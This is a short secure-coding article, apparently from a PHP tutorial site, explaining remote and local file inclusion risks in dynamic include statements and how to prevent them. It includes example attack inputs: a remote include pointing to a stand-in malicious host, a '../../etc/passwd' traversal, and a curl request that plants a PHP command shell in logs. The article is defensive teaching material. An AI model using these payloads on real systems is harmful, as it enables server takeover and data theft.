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What are the security risks associated with dynamic include or require statements based on user input?
What are the security risks associated with dynamic include or require statements based on user input?
Jun 18, 2025 am 12:25 AM
Dynamically containing or requiring users to enter controls can introduce serious security vulnerabilities. 1. Remote File Inclusion (RFI) vulnerability allows attackers to inject malicious code through external URLs. They should avoid using remote URLs and adopt a whitelisting mechanism. 2. Local File Inclusion (LFI) vulnerability allows attackers to access sensitive files through path traversal, and should avoid direct user input, use fixed option lists, and strictly verify input. 3. The attacker may also execute commands by injecting PHP code through logs or uploading files. Dynamic inclusion, restrict file permissions and assume that all files may be tampered with. In short, dynamics require strict verification and configuration, with more secure alternatives preferred.
Dynamic include or require statements based on user input can introduce serious security vulnerabilities into your application. The main issue is that they allow attackers to potentially control which files are included, leading to remote code execution or data leakage.
1. Remote File Inclusion (RFI) Vulnerabilities
If your application allows dynamic include from external URLs and doesn't restrict where the file comes from, an attacker could point the include to a malicious server. For example:
include($_GET['page'] . '.php');
If allow_url_include is enabled in PHP, an attacker might try something like:
?page=http://malicious-site.com/evil-code
This would execute whatever code the attacker has hosted remotely. This kind of vulnerability gives full control of your server to the attacker.
Tip: Avoid allowing remote URLs in include statements altogether. If you must use dynamic include, only accept predefined values ??from a whitelist.
2. Local File Inclusion (LFI) Vulnerabilities
Even if you're only including local files, letting user input directly influence which file gets included opens the door for LFI attacks. Attackers may try to navigate up directory trees using sequences like ../ to access sensitive files.
Example request:
?page=../../etc/passwd
Depending on server configuration, this could expose system files or even log files that might be used in further attacks.
To reduce risk:
- Don't directly use user input in file paths.
- Use a fixed list of allowed options instead.
- Sanitize and validate all input rigorously if dynamic inclusion is unavoidable.
3. Code Injection Through Log Files or Temporary Uploads
Sometimes attackers exploit LFI by injecting PHP code into a file that's known to be accessible through the include path — such as server logs or uploaded files.
For instance, if they can write to a log file via a crafted HTTP request containing PHP code:
curl http://yoursite.com/?page=<?php system($_GET['cmd']); ?>
Then, by including that log file dynamically, they can execute arbitrary commands on your server.
Key precautions:
- Never assume any file on your server is safe from tampering.
- Disable dynamic includes wherever possible.
- Restrict permissions so included files can't be easily modified or accessed externally.
In short, dynamically including files based on user input is risky business. It's not impossible to do securely, but it requires strict validation, careful configuration, and ideally, a safer alternative like routing through a controller or using a template system.
The above is the detailed content of What are the security risks associated with dynamic include or require statements based on user input?. For more information, please follow other related articles on the PHP Chinese website!
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